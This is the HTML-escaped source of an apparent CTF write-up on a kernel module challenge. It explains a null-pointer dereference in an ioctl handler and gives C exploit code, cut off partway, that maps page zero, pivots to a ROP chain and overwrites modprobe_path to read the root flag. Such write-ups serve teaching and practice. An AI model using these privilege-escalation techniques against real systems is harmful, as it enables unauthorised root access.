&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/sh
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>hostname zero
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>chown -R root:root /
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>chmod &lt;span style="color:#ae81ff">0700&lt;/span> /root
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>chown -R user:user /home/user
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mount -t proc none /proc
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mount -t sysfs none /sys
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mount -t devpts -o &lt;span style="color:#111">gid&lt;/span>&lt;span style="color:#f92672">=&lt;/span>5,mode&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">0620&lt;/span> devpts /dev/pts
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mount -t devtmpfs -o nosuid,mode&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">0755&lt;/span> udev /dev
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>chmod &lt;span style="color:#ae81ff">0400&lt;/span> /root/flag
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>insmod /chal.ko
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>chmod &lt;span style="color:#ae81ff">666&lt;/span> /dev/chal
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">echo&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> &amp;gt; /proc/sys/vm/mmap_min_addr
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>setsid cttyhack setuidgid &lt;span style="color:#ae81ff">1000&lt;/span> /bin/sh
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>umount /proc &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> umount /sys
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>poweroff -d &lt;span style="color:#ae81ff">0&lt;/span> -f
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>we can see that it loads chall.ko and runs:
&lt;code>echo 0 &amp;gt; /proc/sys/vm/mmap_min_addr&lt;/code> this &lt;a href="https://wiki.debian.org/mmap_min_addr">command&lt;/a> make it possible to mmap a page with a virtual address of 0x0 (this will become important later).&lt;/p>
&lt;p>now looking into chall.ko using ghidra we see that it uses an ioctl interface to communicate with userland.&lt;/p>
&lt;p>&lt;img
src="https://nothoudaifa.github.io/images/Screenshot_from_2025-02-23_10-56-06.png"
alt="Screenshot from 2025-02-23 10-56-06.png"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p>
&lt;p>this ioctl handler calls functions stored in g_handler (it’s an array of functions).&lt;/p>
&lt;p>in zero_open (called when you open the kernel module) we can see that it sets g_handler to lang_table.&lt;/p>
&lt;p>&lt;img
src="https://nothoudaifa.github.io/images/Screenshot_from_2025-02-23_11-11-13.png"
alt="Screenshot from 2025-02-23 11-11-13.png"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p>
&lt;p>In zero_release (called when you close the kernel module) it sets g_handler to 0x0.&lt;/p>
&lt;p>&lt;img
src="https://nothoudaifa.github.io/images/Screenshot_from_2025-02-23_11-13-25.png"
alt="Screenshot from 2025-02-23 11-13-25.png"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p>
&lt;h2 id="the-vulnerability">The vulnerability:&lt;/h2>
&lt;p>g_handler is a global variable, meaning it persists when you call open,ioctl,close.&lt;/p>
&lt;p>the vulnerability appears when we open two file devices then close one of them, making g_handler == 0x0, but we can still try to use it as a function pointer in zero_ioctl, which will make this a &lt;a href="https://security.stackexchange.com/questions/270612/null-dereference-why-does-it-work">kernel null byte deference vulnerability&lt;/a>.&lt;/p>
&lt;p>to trigger it:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">fd1&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">open&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;/dev/chal&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">fd2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">open&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;/dev/chal&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span>&lt;span style="color:#111">);&lt;/span> &lt;span style="color:#75715e">// g_hanler is now equal to lang_table
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#75af00">close&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">fd1&lt;/span>&lt;span style="color:#111">);&lt;/span> &lt;span style="color:#75715e">// g_handler == 0x0
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#75af00">ioctl&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">fd1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">);&lt;/span> &lt;span style="color:#75715e">// this will derefrence g_handler (which is 0x0) and jmp to that address.
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="exploitation">Exploitation:&lt;/h2>
&lt;p>normally, exploiting this would be impossible because of two reasons (both of them are disabled):&lt;/p>
&lt;ul>
&lt;li>mmap_min_addr: mmap_min_addr is always &amp;gt; 0 (it’s 0x10000 on my machine). which means that userland processes can not map a page into 0x0 address preventing the kernel null byte deference. but in this chall it’s set to 0 by &lt;code>echo 0 &amp;gt; /proc/sys/vm/mmap_min_addr&lt;/code> .&lt;/li>
&lt;li>smap: prevents the kernel from accessing userland memory.&lt;/li>
&lt;/ul>
&lt;p>so now if we mmap a page at 0x0 and cause the vulnerability we should be able to direct execution anywhere we want by writing the desired address at 0x0.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">char&lt;/span>&lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">addr&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">mmap&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x1000&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">PROT_READ&lt;/span>&lt;span style="color:#f92672">|&lt;/span>&lt;span style="color:#111">PROT_WRITE&lt;/span>&lt;span style="color:#f92672">|&lt;/span>&lt;span style="color:#111">PROT_EXEC&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">MAP_PRIVATE&lt;/span> &lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#111">MAP_ANONYMOUS&lt;/span> &lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#111">MAP_FIXED&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// MAP_FIXED is required so it would map the page to 0x0.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">long&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">0x41414141&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">fd1&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">open&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;/dev/chal&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">fd2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">open&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;/dev/chal&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75af00">close&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">fd1&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75af00">ioctl&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">fd1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>by running this, we get:&lt;/p>
&lt;p>&lt;img
src="https://nothoudaifa.github.io/images/Screenshot_from_2025-02-23_11-41-40.png"
alt="Screenshot from 2025-02-23 11-41-40.png"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p>
&lt;p>you can see that it faulted at 0x41414141&lt;/p>
&lt;p>since smap is disabled we will simply make a rop chain (kaslr is disabled, no need for leak) in userland memory and pivot to it (this surprisingly took a long time to do).&lt;/p>
&lt;p>the gadget i chose is: &lt;code>0xffffffff81037fbf: mov esp, 0x39e8825b; ret&lt;/code>&lt;/p>
&lt;p>i used &lt;a href="https://github.com/zolutal/kropr">kropr&lt;/a> to search for this gadget, because ROPGadget gave me gadgets from non executable memory.&lt;/p>
&lt;p>after this, i mmap’ed &lt;code>0x39e88000&lt;/code> and wrote my rop chain in there.&lt;/p>
&lt;p>the rop chain overwrites modprobe path to point to &lt;code>/home/user/pwnaa&lt;/code> .&lt;/p>
&lt;p>here is the final exploit:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;string.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;sys/types.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;sys/stat.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;fcntl.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;sys/ioctl.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;assert.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;unistd.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;sys/mman.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;stdio.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;signal.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">void&lt;/span> &lt;span style="color:#75af00">sigsegv_handler&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">sig&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">puts&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;[*] Returned to userland, setting up for fake modprobe&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">system&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;echo &amp;#39;#!/bin/sh&lt;/span>&lt;span style="color:#8045ff">\n&lt;/span>&lt;span style="color:#d88200">cp /root/flag /home/user/flag&lt;/span>&lt;span style="color:#8045ff">\n&lt;/span>&lt;span style="color:#d88200">chmod 777 /home/user/flag&amp;#39; &amp;gt; /home/user/pwnaa&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">system&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;chmod +x /home/user/pwnaa&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">system&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;echo -ne &amp;#39;&lt;/span>&lt;span style="color:#8045ff">\\&lt;/span>&lt;span style="color:#d88200">xff&lt;/span>&lt;span style="color:#8045ff">\\&lt;/span>&lt;span style="color:#d88200">xff&lt;/span>&lt;span style="color:#8045ff">\\&lt;/span>&lt;span style="color:#d88200">xff&lt;/span>&lt;span style="color:#8045ff">\\&lt;/span>&lt;span style="color:#d88200">xff&amp;#39; &amp;gt; /home/user/dummy&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">system&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;chmod +x /home/user/dummy&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">puts&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;[*] Run unknown file&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">system&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;/home/user/dummy&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">puts&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;[*] Hopefully flag is readable&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">system&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;cat /home/user/flag&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">exit&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">long&lt;/span> &lt;span style="color:#111">user_cs&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">user_ss&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">user_rflags&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">user_sp&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">long&lt;/span> &lt;span style="color:#111">user_rip&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">long&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">sigsegv_handler&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">void&lt;/span> &lt;span style="color:#75af00">save_state&lt;/span>&lt;span style="color:#111">(){&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">__asm__&lt;/span>&lt;span style="color:#111">(&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d88200">&amp;#34;.intel_syntax noprefix;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d88200">&amp;#34;mov user_cs, cs;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d88200">&amp;#34;mov user_ss, ss;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d88200">&amp;#34;mov user_sp, rsp;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d88200">&amp;#34;pushf;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d88200">&amp;#34;pop user_rflags;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d88200">&amp;#34;.att_syntax;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">puts&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;[*] Saved state&amp;#34;&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#75af00">main&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">argc&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#00a8c8">char&lt;/span>&lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">argv&lt;/span>&lt;span style="color:#111">[])&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">signal&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">SIGSEGV&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">sigsegv_handler&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">char&lt;/span>&lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">addr2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">mmap&lt;/span>&lt;span style="color:#111">((&lt;/span>&lt;span style="color:#00a8c8">void&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#ae81ff">0x39e88000&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">0xc000&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x10000&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">PROT_READ&lt;/span>&lt;span style="color:#f92672">|&lt;/span>&lt;span style="color:#111">PROT_WRITE&lt;/span>&lt;span style="color:#f92672">|&lt;/span>&lt;span style="color:#111">PROT_EXEC&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">MAP_PRIVATE&lt;/span> &lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#111">MAP_ANONYMOUS&lt;/span> &lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#111">MAP_FIXED&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x0&lt;/span> &lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">char&lt;/span>&lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">addr&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">mmap&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x1000&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">PROT_READ&lt;/span>&lt;span style="color:#f92672">|&lt;/span>&lt;span style="color:#111">PROT_WRITE&lt;/span>&lt;span style="color:#f92672">|&lt;/span>&lt;span style="color:#111">PROT_EXEC&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">MAP_PRIVATE&lt;/span> &lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#111">MAP_ANONYMOUS&lt;/span> &lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#111">MAP_FIXED&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">long&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">0xffffffff81037fbf&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">//0xffffffff81037fbf: mov esp, 0x39e8825b; ret;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">fd1&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">open&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;/dev/chal&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">fd2&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">open&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;/dev/chal&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x2&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">assert&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">fd1&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">);&lt;/span>
